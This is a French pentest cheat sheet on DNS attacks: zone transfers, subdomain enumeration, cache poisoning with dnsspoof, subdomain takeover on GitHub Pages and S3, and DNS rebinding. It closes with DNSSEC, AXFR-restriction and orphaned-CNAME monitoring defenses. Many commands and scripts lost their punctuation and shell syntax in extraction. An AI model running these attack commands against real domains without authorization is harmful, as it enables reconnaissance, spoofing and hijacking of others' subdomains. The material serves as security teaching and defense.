DNS Attacks — Zone Transfer, Cache Poisoning, Subdomain Takeover
Transfert de zone AXFR, empoisonnement du cache DNS, subdomain takeover — attaque et défense
Zone Transfer (AXFR) — Dump complet du DNS
# Trouver les serveurs DNS autoritairesdig NS {{TARGET_DOMAIN}}host -t NS {{TARGET_DOMAIN}}# Tenter un transfert de zone (dig)dig AXFR {{TARGET_DOMAIN}} {{DNS_SERVER}}dig AXFR {{TARGET_DOMAIN}} ns1{{TARGET_DOMAIN}}# Avec hosthost -l {{TARGET_DOMAIN}} {{DNS_SERVER}}# Avec nmap NSEnmap --script dns-zone-transfer --script-args dns-zone-transfer.domain={{TARGET_DOMAIN}} -p 53 {{DNS_SERVER}}# Avec dnsrecondnsrecon -d {{TARGET_DOMAIN}} -t axfr
# Si le transfert réussit → dump de tous les enregistrements A, CNAME, MX, TXT# Chercher dans le dump :# - Sous-domaines internes (vpn.{{TARGET_DOMAIN}}, dev.{{TARGET_DOMAIN}})# - IPs internes (RFC 1918 : 10.x, 172.16.x, 192.168.x)# - Serveurs mail (enregistrements MX)# - Enregistrements SPF/DKIM (infos sur la messagerie)# Extraire uniquement les IPs depuis un dump AXFRdig AXFR {{TARGET_DOMAIN}} {{DNS_SERVER}} | grep -E "^[^;].*\sA\s" | awk '{print $NF}' | sort -u
Énumération DNS par brute force
# dnsrecon — brute force sous-domainesdnsrecon -d {{TARGET_DOMAIN}} -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt# dnsenumdnsenum --dnsserver {{DNS_SERVER}} --enum -p 0 -s 0 {{TARGET_DOMAIN}}# Subfinder (OSINT passif + actif)subfinder -d {{TARGET_DOMAIN}} -o subdomainstxt# Amass (combinaison de sources)amass enum -d {{TARGET_DOMAIN}} -o amass_resultstxt# Gobuster DNSgobuster dns -d {{TARGET_DOMAIN}} -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -r {{DNS_SERVER}}# MassDNS (très rapide — millions de domaines)massdns -r resolverstxt -t A -o S -w resultstxt subdomains_to_checktxt
DNS Cache Poisoning — Empoisonnement du cache
Principe1 Attaquant demande la rsolution de evil{{TARGET_DOMAIN}} force le resolver faire une requte2 Attaquant envoie de fausses rponses UDP avec le bon Transaction ID force brute possible3 Si la fausse rponse arrive avant la vraie le resolver cache lIP malveillante4 Toutes les victimes utilisant ce resolver obtiennent l'IP de l'attaquantConditionsResolver vulnrable pas de randomisation du port source Transaction ID prvisibleAttaquant capable dinonder avec de fausses rponses UDPPas de DNSSEC sur le domaine cible
# Vérifier la randomisation du port source du resolver cible# (indice de vulnérabilité au cache poisoning)nmap --script dns-random-srcport,dns-random-txid {{DNS_SERVER}} -p 53 -sU# Test avec dnsspoof (dsniff) — sur le LANdnsspoof -i {{INTERFACE}} -f hoststxt# hosts.txt :# {{LHOST}} *.{{TARGET_DOMAIN}}# Vérifier si DNSSEC est actif (protection contre le poisoning)dig {{TARGET_DOMAIN}} dnssec# Chercher "ad" flag dans les flags → DNSSEC validédig DS {{TARGET_DOMAIN}} 8888# Pas de réponse DS = pas de DNSSEC chaîné
Subdomain Takeover
Principe1 Le DNS pointe vers un service tiers CNAME appgithubio storageazurecom etc2 Le service tiers nest plus actif projet supprim abonnement expir3 Lattaquant cre un compte sur ce service et revendique le sous-domaine4 Contrle du sous-domaine cookies localStorage phishing sur le domaine lgitime
Détection
# Identifier les CNAME qui pointent vers des services tiers éteints# Liste des sous-domaines (depuis AXFR ou brute force)for sub in cat subdomainstxt; docnamedig CNAME $sub shortif -z "$cname" ; thenecho "$sub → $cname"# Vérifier si la cible répondcurl -sI "https://$cname" 2>/dev/null | head -1fidone# Subjack (outil automatisé)subjack -w subdomainstxt -t 100 -timeout 30 -ssl -c /opt/subjack/fingerprints.json -v# Nuclei — templates subdomain takeovernuclei -l subdomainstxt -t vulnerabilities/generic/subdomain-takeover.yaml# can-i-take-over-xyz — référence des services vulnérables# https://github.com/EdOverflow/can-i-take-over-xyz
Services fréquemment vulnérables
Service Signature CNAME Indication takeoverGitHub Pages githubio "There isn't a GitHub Pages site here"Heroku herokuappcom "No such app"Netlify netlifyapp 404 Netlify pageShopify myshopifycom "Sorry, this shop is currently unavailable"AWS S3 s3amazonawscom "NoSuchBucket"AWS CloudFront cloudfrontnet "Bad request" "The request could not be satisfied"Azure azurewebsitesnet "Web App Not Found"Fastly globalsslfastlynet "Fastly error: unknown domain"
# Takeover GitHub Pages :# 1. Créer un repo GitHub : {{USERNAME}}/{{TARGET_SUBDOMAIN}}# 2. Activer GitHub Pages sur le repo# 3. Le sous-domaine pointe maintenant vers ton contenu# Takeover AWS S3 :aws s3api create-bucket --bucket {{BUCKET_NAME}} --region us-east-1# Héberger un fichier index.htmlaws s3 website s3//{{BUCKET_NAME}} --index-document indexhtml
DNS Rebinding
Principe1 Attaquant contrle evilcom avec un TTL trs court2 Victime visite evilcom son navigateur rsout evilcom IP attaquant3 JavaScript charge du contenu attaquant change le DNS de evilcom 127001 TTL expir4 Navigateur fait une nouvelle requte rsout evilcom 1270015 Same-Origin Policy satisfaite mme domaine evilcom JS accde localhost{{PORT}}
# Singularity (outil DNS rebinding)git clone https//github.com/nccgroup/singularity# Interface web : http://{{LHOST}}:8080# Cible locale : http://127.0.0.1:{{TARGET_LOCAL_PORT}}
Défense DNS
# Activer DNSSEC sur la zone (BIND9)dnssec-keygen -a ECDSAP256SHA256 -n ZONE {{TARGET_DOMAIN}}# Signer la zonednssec-signzone -A -3 head -c 1000 /dev/random | sha256sum | cut -b 1-16)-N INCREMENT -o {{TARGET_DOMAIN}} -t {{ZONE_FILE}}# Configurer le resolver pour valider DNSSEC (unbound)# /etc/unbound/unbound.conf :# validator:# enable: yes# trust-anchor-signaling: yes
# Bloquer les transferts de zone sauf depuis les secondaires autorisés (BIND9)# /etc/bind/named.conf :# zone "{{TARGET_DOMAIN}}" {# type master;# file "/etc/bind/zones/{{TARGET_DOMAIN}}.zone";# allow-transfer { {{SECONDARY_DNS_IP}}; }; # uniquement le secondaire# };# Réponse type si AXFR bloqué :# dig AXFR {{TARGET_DOMAIN}} → "Transfer failed."
# Surveiller les CNAME orphelins (cronjob quotidien)#!/bin/bashfor sub in dig NS {{TARGET_DOMAIN}} | grep -oP '\S+\.{{TARGET_DOMAIN}}'; docnamedig CNAME $sub shortif -z "$cname" ; thenhttp_codecurl -sI "https://$cname" -o /dev/null -w "%{http_code}" --max-time 5if "$http_code" "000" || "$http_code" "404" ; thenecho "ALERTE TAKEOVER : $sub → $cname (HTTP $http_code)"fifidone
Un transfert de zone réussi expose l'intégralité de l'infrastructure : sous-domaines internes, serveurs de staging, IPs privées, technologies utilisées. C'est souvent la première étape d'un pentest externe qui débouche sur des cibles à fort impact. Bloquer AXFR est une mesure critique mais oubliée sur ~15% des serveurs DNS publics selon les études régulières.
Pour détecter un subdomain takeover en automatique, intégrer nuclei avec le template subdomain-takeover dans un pipeline CI ou un cron hebdomadaire sur la liste des sous-domaines DNS de l'organisation. C'est l'un des seuls vecteurs critiques entièrement automatisables avec un taux de faux positifs quasi nul.